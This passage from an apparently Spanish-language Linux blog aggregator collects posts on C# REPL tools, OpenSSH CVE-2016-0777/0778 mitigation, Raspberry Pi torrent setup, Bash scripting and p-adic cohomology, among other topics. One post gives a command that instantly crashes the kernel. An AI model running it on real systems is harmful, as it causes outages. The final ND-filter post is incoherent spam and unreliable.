At the time, Re-interact took some ideas from IPython and it seems like they are both inspired to some extent by Mathematica's interactive window.

Re-interact in particular introduced a brilliant idea, which was that users could go back in history, edit the previous expressions and the entire buffer would be re-evaluated. This idea lives on in Apple's Playgrounds for Swift.

In the meantime, the IPython project grew and they added one of my favorite features: it was now possible to blend text, explanations and code into workbooks. You can see a sample of this here. For years, I have desired an IPython for C#.

The Xamarin Years

In the meantime, at Xamarin, we experimented with the idea of bringing sometehing like Re-interact/Playgrounds to Xamarin Studio and we shipped Sketches:

But while these were interesting for trying out ideas and learning C#, they are not very useful for day to day work. We found that what our developers needed was a full C# REPL that was connected to the application they were running on, so they could experiment with their UI live. This is when we introduced Xamarin's Inspector. We took the existing engine and changed the way you interacted with C#.

The inspector was originally planned as a debugging aid, one that you could use to attach to a live Android/iOS/WPF process and use to examine:

We wrote several backends to provide some visual representation of the running app:

While Sketches used the IDE editing surface and a custom renderer view for results, with the Inspector we took a different route. Our interactive surface was an HTML canvas, and our results are rendered using HTML. This allowed us to do some pretty visualizations for results.

We have only started to explore what is possible in this space, and our last release included various data renderers. In particular, we added support for pretty printing collections and a handful of native Android and iOS results.

Up until now, we had been powered by Mono's C# compiler and while it has served us well for many years, it pales in comparison with the services that we could get out of Microsoft's Roslyn. Our code completion and error reporting were limited and the model did not translate too well to F#.

We recently switched the inspector to use Roslyn:

With this release, we ended up with an Inspector that can now be used either to debug/analyze a running app (very much like a web inspector), or one that can be used to experiment with APIs in the same spirit as other shells.

Continuous

In the meantime, Frank Krueger took the iOS support that we introduced for the compiler as a service, and wrote Continuous, a plug-in for Xamarin Studio and Visual Studio that allowed developers to live-code. That is, instead of using this as a separate tool, you can modify your classes and methods live and have your application update as you change the code:

Frank also added support for evaluating values immediately, and showing some values in comments, similar in spirit to his Calca app for iOS:

The Glorious Future

But now that we have a powerful HTML rendering engine to display our results and we upgraded our compiler engine, we are ready to take our next steps.

One step will be to add more visualizers and rendering capabilties to our results in our Inspector.

The second step is to upgrade Sketches based on this work. We will be changing the Sketches UI to be closer to IPython, that is, the ability of creating workbooks that contain both rich HTML text along with live code.

To give you a taste of what is coming up on our next release, check out this screenshot:

Developers will still have a few options of richly interacting with C# and F#:

  • With our inspector experiment with APIs like they do with many other interactive shells, and to poke and modify running apps on a wide spectrum of environments.
  • With Frank Krueger's Continuous engine to see your changes live for your C# code.
  • With our revamped Sketches/workbook approach to use it for creating training, educational materials.

Lunes 15 de febrero de 2016

Crashing your kernel on purpose

Ok, that sounds funny, doesn’t it? Well, it turns out, sometimes, you want to test your kernel dump or something of the sorts. Here’s how to do it:

echo c > /proc/sysrq-trigger

This will, instanly, crash your kernel.

References:

Domingo 14 de febrero de 2016

Omar Hernández Sarmiento

Omar Hernández Sarmiento
-- tekini --

Pausar reproducción de vlc por línea de comando

VLC es un reproductor de multimedia muy potente, pero no tiene una opción directa para controlar desde línea de comando.

Me interesa pausar desde un script, para ello se hace uso de D-Bus con el comando:
$ dbus-send --print-reply --session --dest=org.mpris.MediaPlayer2.vlc /org/mpris/MediaPlayer2 org.mpris.MediaPlayer2.Player.Pause

Esto lo emplearé en un script que pause la musica antes de bloquear la pantalla.
$ cat _lock.sh
mocp -P
dbus-send --print-reply --session --dest=org.mpris.MediaPlayer2.vlc /org/mpris/MediaPlayer2 org.mpris.MediaPlayer2.Player.Pause
xset dpms force off
xscreensaver-command -lock

Miércoles 10 de febrero de 2016

Itzcoalt Alvarez Moreno

Itzcoalt Alvarez Moreno
Itzcoalt (itz) Álvarez

Sociedades por Acciones Simplificadas

Hot:

El día de ayer la Cámara de Diputados aprobó la reforma de ley que permite la creación de Sociedades por Acciones Simplificadas (SAS para los cuates).

Los cambios propuestos para la Ley de Sociedades Mercantiles permitirán:

  • Creación de sociedades de un solo accionista o unipersonales.
  • No es necesario acudir a un notario público para hacer el trámite.
  • El costo es 0 en el proceso de constitución.

Esta ley permitirá la apertura de empresas de manera rápida (mencionan un máximo de 24 Hrs) sin embargo tiene algunas limitantes y cosas que hay que considerar.

  • La facturación anual no debe ser superior a 5,000,000.00
  • La creación se realiza por medio de la Firma Electrónica de los socios.
  • La empresa está obligada a publicar sus finanzas.
  • Los socios no pueden participar en otras sociedades en donde tengan el control (esto está un poco claro, hay que ver que dicen los abogados al momento de interpretar la ley)

 

Como lo veo, es una forma rápida de crear sociedades para la Star-ups mexicanas :), y para que más personas formalicen sus actividades.

Itzcoalt Alvarez Moreno

Itzcoalt Alvarez Moreno
Itzcoalt (itz) Álvarez

Inversiones.

Hot:

La búsqueda constante para no perder el poder adquisitivo del poco dinero que se puede ahorrar, nos damos cuenta que realmente no contamos con muchas opciones.

 

Bancos.

La tasa de interés que un banco nos puede ofrecer, ronda entre el 3% al 5% ANUAL, es decir, si depositamos 100,000.00 en el banco el 1ero de enero, al 31 de diciembre tendremos en nuestra cuenta 103,000.00, un rendimiento de 3,000.00.

Eso es malo, pero se complica más cuando buscas la tasa de inflación anual, es decir, cuanto ha perdido tu dinero de poder adquisitivo por el incremento en los precios de los bienes que consumes, esta tasa de inflación está entre el 2% y 4 % para este año, de tal forma, tu tasa de interés real puede ser de 1% o -1% dependiendo del como quede la inflación anual.

El rendimiento del 1% es muy pobre, tal vez sea seguro, pero pobre.

 

CETES.

Los CETES o Certificados de Tesorería son documentos emitidos por el gobierno mexicano que sirven para financiar sus operaciones, por desgracia sucede el mismo escenario que los depósitos bancarios, la tasa de interés anual que ofrecen los CETES es similar o incluso inferior a la inflación.

 

Fondos de inversión.

Los fondos de inversión es un mecanismo por medio del cual un conjunto de personas o empresas deciden poner dinero en un fondo, y con este participar en inversiones en la bolsa, estas inversiones pueden generar rendimiento por arriba de la inflación o tener incluso perdidas.

Los fondos de inversión son administrados por profesionales y normalmente cobran una comisión por su administración.

Si bien el riesgo se incrementa, las posibilidades de reducir la pérdida del poder adquisitivo se reduce.

Existen muchos fondos de inversión, los cuales están diseñados para diferentes horizontes de inversión, o, mejor dicho, tiempo en el cual debes tener los recursos invertidos a fin de obtener un rendimiento aceptable.

 

Bolsa Mexicana de Valores (BMV)

En este caso, la inversión se realiza por medio de la compra de acciones de las empresas que cotizan en la bolsa, el riesgo como tal se incremente mucho más y se debe tener conocimiento del clima que reina en el sector de las empresas a invertir, sin embargo, los beneficios también pueden ser mucho más altos.

Para invertir en la BMV es necesario acercarnos a una Casa de Bolsa, quien realiza las operaciones a nuestro nombre, cobra una comisión por cada operación y en muchas ocasiones requieren cantidades mínimas de inversión.

Para muestra un botón, por favor analicen el rendimiento de las acciones de ICA, el grupo constructor de los últimos meses, ha perdido grandes cantidades, ello por la pérdida de su valor accionario, una inversión en una empresa de estas características representa pérdidas a largos plazo.

Alternativos.

Esto es en cuanto a los medios comunes de inversión, existen otros mecanismos que van a generar un rendimiento más alto, pero con un riesgo insano, la inversión en negocios particulares, la especulación con mercancías o bienes y servicios generar utilidades, sin embargo, el tiempo dedicado a estas actividades es alto, y es necesario evaluar el costo/beneficio.

 

 

 

 

 

Jueves 04 de febrero de 2016

Itzcoalt Alvarez Moreno

Itzcoalt Alvarez Moreno
Itzcoalt (itz) Álvarez

YNAB y su cambio de modelo de negocio.

Hot:

YNAB (You Need A Budget) es un software diseñado para auxiliar en el control de las finanzas personales.

Desde hace algunos años, este software se vendía por un costo único y por una licencia de por vida, si bien el costo era algo alto, aun así vale la pena.

Sin embargo, YNAB a cambiado su modelo de negocio, entrado el esquema de software como servicio, y cobrando una renta mensual por el servicio.

El punto es: aun cuando el software cumple las expectativas, me parece que el costo mensual es alto.

Puedo entender la razón financiera para el cambio del modelo de negocio, sin embargo, el costo sigue siendo alto.

 

Miércoles 03 de febrero de 2016

Antonio de Dios

Antonio de Dios
Linux – Webadedios

Despidiéndome de Copy.com

Resulta que muchos servicios de guardado-almacenamiento en la nube de archivos han ido menguando sus operaciones, ya sea limitando características, mermando el espacio disponible o sencillamente dejando de prestar sus  servicios

Un servicio con el que me encontraba muy contento era copy de copy.com que desgraciadamente deja de funcionar en un mes y me deja en el predicamento de buscar un nueo sitio que me de las funciones que necesito

copyfin

En estos momento ando probando pCloud,que al menos ofrece lo menos que necesito, y es que el poblema como usuario linux es que requiero no solo el espacio en la nube de mas de 7 gb, necesito que tenga programa en android y también y, muy importante, un programa en linux para que sincronice automáticamente la carpeta con los archivos que vaya modificando

Lo que mas me afecta es la carencia del programa de escritorio en linux en varios servicios de almacenamiento en la nube, y aunque el de pCloud es extremadamente básico y solo tienen versión para ubuntu-debian (mi otra pc la tengo en Arch), pues al menos salgo al paso en lo que mas uso

estoy de plano animándome a instalar ownclud aunque sea en casa pero si estoy en la misma red pues prefiero el rsync como estoy usándolo actualmente (de mi pc arch a lap debian)

En fin, en este momento buscando esa aplicación que tenga un programa de escritorio que funcione bien en linux, que sirva perfectamente en android, no es mucho pedir

  • uso dropbox pero se me queda corto el espacio, por lo que de plano lo deje para guardar las fotografías que tomo del celular
  • pCloud en pruebas me esta funcionando adecuadamente

Para obtener una cuenta de Dropbox
Para obtener una cuenta de pCloud

Martes 02 de febrero de 2016

Promoviendo Software Libre: Idioma español en Knoppix

Viernes 22 de enero de 2016

Miguel de Icaza

Miguel de Icaza
Miguel de Icaza

Shared Projects or PCL?

My colleague Jason Smith has shared his views on what developers should use when trying to share code between projects. Should you go with a Shared Project or a Portable Class Library (PCL) in the world of Xamarin.Forms?

He hastily concludes that you should go with PCLs (pronounced Pickles).

For me, the PCL is just too cumbersome for most uses. It is like using a canon to kill a fly. It imposes too many limitations (limited API surface), forces you to jump through hoops to achieve some very basic tasks.

PCLs when paired with Nugets are unmatched. Frameworks and library authors should continue to deliver these, because they have a low adoption barrier and in general bring smiles and delight to their users.

But for application developers, I stand firmly on the opposite side of Jason.

I am a fan of simplicity. The simpler the technology, the easier it is for you to change things. And when you are building mobile applications chances are, you will want to make sweeping changes, make changes continously and these are just not compatible with the higher bar required by PCLs.

Jason does not like #if statements on his shared code. But this is not the norm, it is an exception. Not only it is an exception, but careful use of partial classes in C# make this a non issue.

Plugging a platform specific feature does not to use an #if block, all you have to do is isolate the functioanlity into a single method, and have each platform that consumes the code implement that one method. This elegant idea is the same elegant idea that makes the Linux kernel source code such a pleasure to use - specific features are plugged, not #ifdefed.

If you are an application developer, go with Shared Projects for your shared code. And now that we support this for F#, there is no reason to not adopt them.

Domingo 17 de enero de 2016

Rafael Bucio

Rafael Bucio
Rafael Bucio ⠠⠵

patch OpenSSH CVE 0777/0778

Recientemente se liberaron dos CVE (Common Vulnerabilities and Exposure) en OpenSSH, en la cual todas las versiones que están dentro del rango  5.4 y 7.1 son vulnerables:

  • openSSH Information Leak (CVE-2016-0777)
  • openSSH Buffer Overflow (CVE-2016-0778)

Para saber que versión tienes en tu servidor:

r00t$ yum list installed openssh\*
Loaded plugins: fastestmirror, security
Loading mirror speeds from cached hostfile
 * base: centos.mirror.vexxhost.com
 * extras: centos.mirror.netelligent.ca
 * rpmforge: repoforge.mirror.constant.com
 * updates: centos.mirror.netelligent.ca
Installed Packages
openssh.x86_64                              5.3p1-112.el6_7                      @updates
openssh-clients.x86_64                      5.3p1-112.el6_7                      @updates
openssh-server.x86_64                       5.3p1-112.el6_7                      @updates
r00t$ ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

y con debian:

root$ dpkg --list openssh\*
r00t$ ssh -V

Si estamos en el rango de 5.4 – 7.1, necesitamos actualizar o añadir una linea al archivo de configuración de openSSH inmediatamente para no tener un filtrado de laves o un Mitm:

$ echo 'UseRoaming no' | sudo tee -a /etc/ssh/ssh_config

Mac OSX

$ echo "UseRoaming no" >> ~/.ssh/config

Me di a la tarea de crear un script para automatizar en los servers mac y bsd/linux puedes verlo en mi github en la siguiente url: https://github.com/bucio/patch_OpenSSH_CVE_0777-0778.

Más información:

 

Viernes 15 de enero de 2016

Aldo Rivadeneira

Aldo Rivadeneira
linux – blog

Inicio de un blog técnico

Quiero iniciar un blog técnico con toda la investigación que llevo de todo este tiempo.
Primer cuestionamiento: tengo un dominio , puedo generar un subdominio pero el hosting de wordpress me pide $$ para poder agregar mi *.dominio. Valdrá la pena?
Segundo cuestionamiento: puedo contratar un hosting e instalar un CMS, dirigir mi *.dominio a el y listo. Valdrá la pena?


Jueves 14 de enero de 2016

Miguel de Icaza

Miguel de Icaza
Miguel de Icaza

getline.cs update: Partying like it is 1992

Back in 2008, I wrote about getline.cs, a single-file command line editor for shell application. It included Emacs key bindings, history, customizable completion and incremental search. It is equivalent to GNU's readline library, except it is implemented in a single C# file.

I recently updated getline.cs to add a popup-based completion and C# heuristics for when to automatically trigger code completion. This is what it looks like when using in Mono's C# REPL in the command line:

Lunes 04 de enero de 2016

Óscar A. Parra V.

Óscar A. Parra V.
El Canibal » Geek

Instalando cliente Torrent en Pi

Ahora, lo que vamos a hacer, es instalar un cliente Torrent en la Pi

Existen varios, entre los que se pueden instalar son rtorrent, transmission pero yo usare deluge

Deluge es un cliente multiplataforma con una interfase remota.

para instalarlo daremos lo siguiente:

sudo apt-get install deluged -y && sudo apt-get install deluge-console -y && sudo apt-get install deluge-web

ya instalado, debes asegurarte que estas con el usuario de pi

id -nu

te debe arrojar pi

corremos deluged para que haga el setting inicial y luego matamos el proceso

deluged
sudo pkill deluged

vamos a respaldar el arcivo de configuracion y luego vamos a editarlo

cp ~/.config/deluge/auth ~/.config/deluge/auth.old
nano ~/.config/deluge/auth

agregaremos usuario:password:acesso del 1 al 10

pi:mipassword:10

luego iniciamos deluge y la consola

deluged
deluge-console

luego agregamos estas lineas en la consola de deluge

config -s allow_remote True
config allow_remote
exit

reiniciamos deluged

sudo pkill deluged
deluged

 

Jueves 31 de diciembre de 2015

Omar Hernández Sarmiento

Omar Hernández Sarmiento
-- tekini --

Ian Murdock

Ian Murdock, creador de la distribución y del proyecto Debian, falleció. Una gran pena embarga al mundo del software libre.

Martes 29 de diciembre de 2015

HowTo: Ask questions in Bash?

I’ve been writing some script to configure some firewall and came up with this way of asking a question in Bash. I hope it helps as an example. Feel free to contribute your own:

#!/usr/bin/env bash

ask() {
    local query=$1

    if ( echo $query | grep -qi password ); then
        read -s -p "$query: " answer
        echo
    else
        read -p "$query: " answer
    fi

    return 0
}

ask 'What is your name?'

echo
echo "Hello, $answer"

ask 'Please, give me your password'

echo
echo "Access granted"

As you can devise from the script, “$answer” is a global; which will get overwritten if you use ask() again. In case you want to make several questions, just reassign the var to another one:

ask 'What is your first name?'
firstname=${answer^}

ask 'What is your last name?'
lastname=${answer^}

echo
echo "Nice to meet you, $firstname $lastname!"

So, this gives you an idea. I’d check this article to learn some defensive Bash programming; which I am just starting to absorb: http://www.kfirlavi.com/blog/2012/11/14/defensive-bash-programming/

Lunes 28 de diciembre de 2015

Eduardo Ruiz Duarte

Eduardo Ruiz Duarte
Beck's blog

Cohomología de Monsky-Washnitzer y punto fijo de Lefschetz (parte 1 Cohomología Grothendieck-deRham Algebraico)

Este es el último post de este año, mañana me voy de vacaciones a Israel pero vine a la oficina en 28 de diciembre para no sentirme culpable de estar en el mar muerto flotando y no continuando mis algoritmos y proyectos pendientes para mi trabajo de investigación en mi actual casa académica que es el Instituto Johann Bernoulli en los Países Bajos.

Parte de lo que estoy investigando tiene que ver con contar soluciones $latex \mathbb{F}_q$-racionales de jacobianas de curvas hiperelípticas de género 2, como ya lo he mencionado en posts anteriores, esto es importante, por razones prácticas y por razones puramente matemáticas.

En cuanto a las razones prácticas tenemos que estas jacobianas de curvas hiperelípticas están consideradas para suplir en un futuro a las curvas elípticas en criptografía, por lo que necesitamos ver maneras de extraer la cardinalidad de su conjunto de soluciónes con el fin de poder ver si el grupo abeliano asociado a la curva es seguro en términos criptográficos. Esta cardinalidad nos dará la traza del endomorfismo de Frobenius, y por lo tanto, podemos obtener también la cardinalidad de la curva hiperelíptica.

Las razones matemáticas son la riqueza matemática que conlleva poder conocer esto, ahora vamos a definir una teoría de cohomología útil para teoría de números que nos permite contar puntos, y que nace de la Cohomología de DeRham algebraica propuesta por Alexander Grothendieck así como del trabajo de Dwork quien probó que la función Zeta de una variedad algebraica sobre un campo finito es simplemente un cociente de polinomios.

Lo que queremos es que con esta teoría de Cohomología dada por Monsky-Washnitzer poder encontrar explícitamente la función zeta de una variedad $latex X$ sobre un campo finito $latex \mathbb{F}_q$ con $latex q=p^n$, esta cohomología es la misma que la de deRham algebraica pero aplicada a un anillo especial.

$latex \zeta_{\mathbb{F}_q}(t)=\exp{\sum_{s\geq 1} \frac{|X(\mathbb{F}_{q^s})|}{s}q^{-st}}$

Donde $latex |X(\mathbb{F}_{q^s})|$ denota el número de puntos racionales de $latex X$ en la extensión de grado $latex s$ de $latex \mathbb{F}_q$.

Queremos contar puntos, y un ingrediente crucial es el teorema del punto fijo de Lefschetz, que es la generalización del teorema del punto fijo de Brouwer el cual expuse aquí en mi blog, este teorema en nuestro contexto nos dice básicamente que si $latex X$ es una variedad sobre un campo finito $latex \mathbb{F}_q$ y si $latex \bar{X}$ es el levantamiento (lifting) de $latex X$ a $latex \bar{\mathbb{F}_q}$ , sabemos que el endomorfismo de frobenius $latex \Phi_q$ va a mapear puntos con coordenadas $latex x_1,...,x_n$ a el punto con coordenadas $latex x_1^q, ..., x_n^q$, entonces los puntos fijos que $latex \Phi_q:\bar{X}\rightarrow\bar{X}$ son exactamente los puntos $latex X$ (porque Frobenius se comporta como la identidad en los puntos $latex \mathbb{F}_q$-racionales) entonces el teorema del punto fijo de Lefschetz implica que en el caso de que $latex X$ sea suave y bien portada como variedad:

$latex |X(\mathbb{F}_q)|=q^{\text{Dim }X} \sum_i (-1)^i Tr(\Phi_q)^{-1}|H^{i}(\bar{X},\mathbb{Q}_l)$

La cohomología que usaremos será la cohomología de deRham algebraica aplicada a un anillo especial que es un lifting (levantamiento) del anillo de coordenadas, hoy definiremos la cohomología de deRham y los problemas que nos va a causar no trabajar en el Lifting.

Hoy nos enfocaremos a construir esta cohomología definida en GAGA por Alexander Grothendieck, para cualquier anillo de tipo finito, que será la base de la cohomología de Monsky-Washnitzer aplicada a un anillo en específico.

Primero que todo, $latex \mathbb{K}$ es un campo perfecto y $latex A$ una $latex \mathbb{K}$-álgebra finitamente generada, que en el caso práctico puede ser un anillo de coordenadas de una variedad $latex X$ cuyas coordenadas a veces denotaremos como $latex \bar {x_i}$ para $latex i\leq n$ por lo que $latex A=\mathbb{K}[\bar{x_1},...,\bar{x_n}]=\mathbb{K}[x_1,...,x_n]/\langle f_1,...,f_r \rangle=\mathbb{K}[X]$ donde $latex X$ está definido por $latex \lbrace f_i \rbrace_{i=1}^{r}\subset \mathbb{K}[x_1,...,x_n]$ irreducibles sobre $latex \mathbb{K}$.

Cohomología de DeRham algebraica con diferenciales de Kähler

Ahorita queremos transportar el cálculo diferencial y análisis a álgebra, por lo que definiremos en abstracto lo que es una derivada y los diferenciales de un anillo de cierto modo generalizados, simplemente pidiendo simbólicamente la regla de Leibniz en este caso sobre el anillo de funciones de una variedad, donde la función de derivación sobre el álgebra finitamente generada será naturalmente heredada con la derivación parcial en cada variable de los polinomios.

Definición: $latex \Omega_{A/\mathbb{K}}$  es el $latex A$-módulo de diferenciales de Kähler, es decir, vamos a tomar $latex \forall a\in A$ los símbolos $latex\space da$ y las siguientes relaciones.

* $latex \space dk=0$ para $latex k\in\mathbb{K}$
* $latex d(a+b)=da+db$ 
* $latex d(ab)=a\cdot db+b\cdot da$ donde $latex a,b\in A$

Por ejemplo, si tenemos que $latex A$ es el anillo de coordenadas de $latex X$ una curva dada por la intersección de irreducibles, es decir, $latex f_1,..,f_r \in \mathbb{K}[x_1,...,x_n]$ entonces:

$latex A=\mathbb{K}[x_1,...,x_n]/\langle f_1,...,f_r\rangle$
Entonces tenemos que explícitamente:

$latex \Omega_{A/\mathbb{K}}=\bigoplus _{i=1}^{n} Adx_i /\langle f_1,...,f_r \rangle$

donde $latex df:=\sum_{j=1}^n \frac{\partial f}{\partial x_j} dx_j$ (Derivada total)

Es decir, como $latex A=\mathbb{K}[\bar{x_1},...,\bar{x_n}]$, tenemos que $latex \Omega_{A/\mathbb{K}}$ es un módulo libre en los generadores $latex d\bar{x_1},...,d\bar{x_n}$ y nota que el álgebra $latex A=\mathbb{K}[\bar {x_1},...,\bar{x_n}]$ está generada como una $latex \mathbb{K}$-álgebra por $latex \bar{x_1},...,\bar{x_n}$ por lo que $latex \Omega_{A/\mathbb{K}}$ esta generado como $latex \mathbb{K}[\bar{x_1},...,\bar{x_n}]$-módulo por $latex d\bar{x_1}, .., d\bar{x_n}$.

Existen muchas derivadas, pero la más natural $latex d:A\rightarrow \Omega_{A/\mathbb{K}}$ es la que manda $latex a\mapsto da$.

Como dije anteriormente, hay muchas derivadas, pero eso no perjudica la unicidad de $latex \Omega_{A/\mathbb{K}}$ ya que si nos encontramos con otra derivación $latex \mathbb{K}$-lineal $latex D:A\rightarrow M$ , ésta se factoriza de manera única como $latex A\xrightarrow{d}\Omega_{A/\mathbb{K}}\rightarrow M$.

De hecho si $latex A=\mathbb{K}[x_1,...,x_n]$ es el anillo de polinomios en $latex n$ variables, (es decir, el anillo de coordenadas del espacio afín $latex \mathbb{A}^n$ tenemos que $latex \Omega_{A/\mathbb{K}}\cong \bigoplus_{i=1}^n A$ , esto lo pueden demostrar ustedes utilizando el mapeo $latex A\rightarrow \bigoplus_{i=1}^n A$ dado por $latex f\mapsto (\frac{\partial f}{\partial x_1},...,\frac{\partial f}{\partial x_n})$ y notando que es una derivada $latex \mathbb{K}$-lineal y que el mapeo $latex \phi:\Omega_{A/\mathbb{K}}\mapsto \bigoplus_{i=1}^n A$ dado por $latex df\mapsto (\frac{\partial f}{\partial x_1},...,\frac{\partial f}{\partial x_n})$ es un isomorfismo con inverso $latex \psi:\bigoplus_{i=1}^n A \rightarrow \Omega_{A/\mathbb{K}}$ dado por $latex (f_1,...,f_n)\mapsto \sum_{i=1}^n f_idx_i$.

Una observación "geómetra algebraica" es que la curva definida por el álgebra $latex A$ (su anillo de coordenadas) , por más abstracto que sea esto y por más raro o más típico que sea el campo $latex \mathbb{K}$ es suave, sin singularidades extrañas en su geometría, entonces $latex \Omega_{A/\mathbb{K}}$ es un módulo localmente libre de rango exactamente la dimensión de Krull del anillo $latex A$ que coincide con la dimensión topológica de la variedad $latex X$ asociada al álgebra $latex A$.  


Ahora vamos a construir los grupos de cohomología, para esta parte es necesario que entiendas lo que es el producto cuña $latex dx_i\wedge dx_j$, yo aquí lo expongo con ejemplos y de manera geométrica.


Definición: Sea $latex \Omega^k_{A/\mathbb{K}}=\bigwedge_{i=1}^k \Omega_{A/\mathbb{K}}$ , es decir en particular $latex \Omega^{0}_{A/\mathbb{K}}=A$ y $latex \Omega^{1}_{A/\mathbb{K}}=\Omega_{A/\mathbb{K}}$


Y construyamos el complejo de cadenas dado por 

                 $latex d_{k}:\Omega^{k-1}_{A/\mathbb{K}}\rightarrow \Omega^{k}_{A/\mathbb{K}}$ 
$latex f_0 df_1\wedge ... \wedge df_{k-1}\mapsto df_0\wedge df_1\wedge ... \wedge df_{k-1}$

Estas $latex d_j$ entre los módulos de diferenciales de orden $latex j$ y  $latex j+1$ pueden demostrar que son derivaciones, y denotamos como $latex \Omega^{\bullet}_{A/\mathbb{K}}$ al complejo de cadenas resultante con su respectivo operador de frontera en cada flecha dado por $latex d_j$.

$latex \cdots\xrightarrow{d_{k-1}}\Omega^{k-1}_{A/\mathbb{K}}\xrightarrow{d_{k}} \Omega^k_{A/\mathbb{K}}\xrightarrow{d_{k+1}} \Omega^{k+1}_{A/\mathbb{K}}\xrightarrow{d_{k+2}}\cdots$

Pueden demostrar que en efecto $latex d_{k+1}\circ d_k =0$ por lo que $latex \text{Im}{d_k}\subseteq \ker d_{k+1}$, que es lo fundamental para construir la teoría de cohomología.

Definición: El complejo de DeRham para la $latex \mathbb{K}$-álgebra $latex A$ está dado por el complejo de cadenas $latex \Omega^{\bullet}_{A/\mathbb{K}}$ donde su i-ésimo grupo de Cohomología está definido como: 

$latex H^{i}_{dR}(A/\mathbb{K}):=H^{i}(\Omega^{\bullet}_{A/\mathbb{K}})=\ker{d_{i+1}}/\text{Im} d_{i}$

Nota que si $latex \space i> KrullDim(A)=Dim(X)$ por las propiedades del producto cuña $latex \wedge$ tendrás dependencia lineal por lo que $latex \Omega^i_{A/\mathbb{K}=0$ que implica que $latex H^i(A/\mathbb{K})=0$ , nota que podemos generalizar esta construcción a esquemas de tipo finito por lo que es mejor denotar $latex H^{i}_{dR}(X/\mathbb{K}):=H^{i}_{dR}(A/\mathbb{K})$ donde $latex X=Spec(A)$ , esto es la generalización usando el espectro del anillo y lo tengo explicado aquí con ejemplos, pero si no te gusta esto, o te es muy complicado, sigue usando el anillo $latex A$.


Cohomología en característica p

Vamos a jugar un poco con esta cohomología y supongamos ahora que $latex \mathbb{K}=\mathbb{F}_p$, queremos definir una teoría de cohomología para variedades sobre $latex \mathbb{F}_p$ , el punto aquí será definir una teoría de cohomología con coeficientes en un campo de característica 0 relacionado muy cercanamente con $latex \mathbb{F}_p$ para una variedad afín sobre $latex \mathbb{F}_p$.

Primero, observemos por qué el párrafo anterior, considera $latex X=\mathbb{P}^1_{\mathbb{F}_p}$ es decir $latex A=\mathbb{F}_p[X]=\mathbb{F}_p[x]$, es fácil ver que $latex H^{1}_{dR}(A/\mathbb{F}_p)$ es un $latex \mathbb{F}_p$-espacio vectorial de dimensión infinita ya que por ejemplo $latex d_1(x^{pk})=0$ $latex \forall k\geq 0$ por lo que $latex \lbrace x^{pk-1}dx \rbrace_{k\geq 0} \not\subset \text{Im }d_1$ y $latex \lbrace x^{pk-1}dx \rbrace_{k\geq 0}\subset \Omega_{A/\mathbb{F}_p}$  $latex \forall k\geq 0$
  
O sea tenemos que $latex d_1:A\rightarrow \Omega^{1}_{A/\mathbb{F}_p}$ está dado por $latex f\mapsto df$ y $latex d_2:\Omega^{1}_{A/\mathbb{F}_p}\rightarrow \Omega^{2}_{A/\mathbb{F}_p}$ está dado por $latex gdf\mapsto dg\wedge df$.

Con esto anterior y la observación de que $latex x^{pk-1}dx\notin \text{Im }d_1$ tenemos que:

$latex \ker d_2=\langle \lbrace cdf : f\in A,\text{ }\forall c\in\mathbb{F}_q\rbrace \cup \lbrace cx^{pk}df : k\geq 0\rbrace\rangle$

$latex \text{Im }d_1=\langle \lbrace df \in \Omega^{1}_{A/\mathbb{F}_q} : f=cx^{pk+r},\text{ }r\neq -1\rbrace\rangle$

Por lo tanto:

$latex H^{1}_{dR}(A/\mathbb{F}_q)=\ker d_{2}/\text{Im }d_{1}$

Es como $latex \mathbb{F}_p$-espacio vectorial tiene una infinidad de generadores dados por todos los valores que puede tener $latex k\geq 0$ ya que la Imágen de $latex d_1$ está totalmente contenida en la parte izquierda del kérnel de $latex d_2$ y la parte derecha es infinita.

Esto es un problema... tenemos que de hecho $latex \Omega^{1}_{A/\mathbb{F}_p}$ tiene dimensión infinita, esto no nos sirve de nada, es muy grande, necesitamos deshacernos de la característica $latex p$ que nos da problemas con las derivaciones de funciones polinomiales con exponente múltiplo de $latex p$.

El campo de característica 0 que usaremos es $latex \mathbb{Q}_p$ (campo de p-ádicos que lo puedes ver explicado en mi blog aquí )y considera su anillo de enteros asociado $latex \mathbb{Z}_p$ , es bien conocido que $latex \mathbb{Z}_p/p\mathbb{Z}_p\cong \mathbb{F}_p$, 

Supón que tienes una $latex \mathbb{F}_p$-álgebra $latex A$ , entonces si pudieramos encontrar una $latex \mathbb{Z}_p$-álgebra suave $latex \tilde{A}$ con $latex \tilde{A}\otimes_{\mathbb{Z}_p}\mathbb{F}_p\cong A$ podrías considerar la cohomología de DeRham de la $latex \mathbb{Q}_p$-álgebra $latex \tilde{A}_{\mathbb{Q}_p}:=\tilde{A}\otimes_{\mathbb{Z}_p}\mathbb{Q}_p$

Con esto, ya nos deshacemos de la dimensión infinita, pero el problema es que levantar (lift) el álgebra $latex A$ como $latex \mathbb{Z}_p$-álgebra da diferentes grupos de cohomología , aunque finitos pero diferentes y necesitamos una manera de poder encontrar un lifting único que nos sirva para poder aplicar el teorema del punto fijo.

Por ejemplo si $latex A=\mathbb{F}_p[x]$ y $latex \tilde{A}_1=\mathbb{Z}_p[x]$ , $latex \tilde{A}_2=\mathbb{Z}_p[x,y]/\langle (1+px)y-1 \rangle$, puedes verificar que $latex H^1_dR(\tilde{A}_{1,\mathbb{Q}_p}/\mathbb{Q}_p)=0$ y $latex H^1_dR(\tilde{A}_{2,\mathbb{Q}_p}/\mathbb{Q}_p)$ tiene dimensión 1

Como vemos, tenemos dos liftings de $latex A$ con diferente grupo de cohomología.

Vamos a seguir después con el anillo en el que queremos trabajar la cohomología, para aplicar el teorema del punto fijo de Lefschetz por ahora nos quedamos aquí.

Después le seguimos, espero les haya interesando.

Eduardo Ruíz Duarte (beck)
twitter: @toorandom


Martes 22 de diciembre de 2015

HowTo: Fixing Dovecot 2.2 in CentOS 7.2

Warning: If you update dovecot on CentOS 7, it will brake! You need to update one of the config files in order for it to keep working:

# /etc/dovecot/conf.d/15-mailboxes.conf
...
namespace inbox {
    ...
    inbox = yes
    ...
}
...

So, basically, you need to add inbox = yes within the inbox namespace.

Miércoles 16 de diciembre de 2015

José Mendoza Roa

José Mendoza Roa
Tucancunix Blog

Unbelievable ND Filter Usage Tips Disclosed

If you grab signals you shift on your own as an example torches LED lights fibers optic equipment and lighting and sparklers that is definitely termed lightweight piece of art and could be used to build wonderful visuals of light-weight trails along with the illuminated setting and resolved physical objects.Also they should not be graphical and beauty so one ought to use the queues shadows and lighting fixtures.You’re taking a night time capture with the college honest.Allow us to talk about some important sorts at length and the use of nd filter can make a difference.

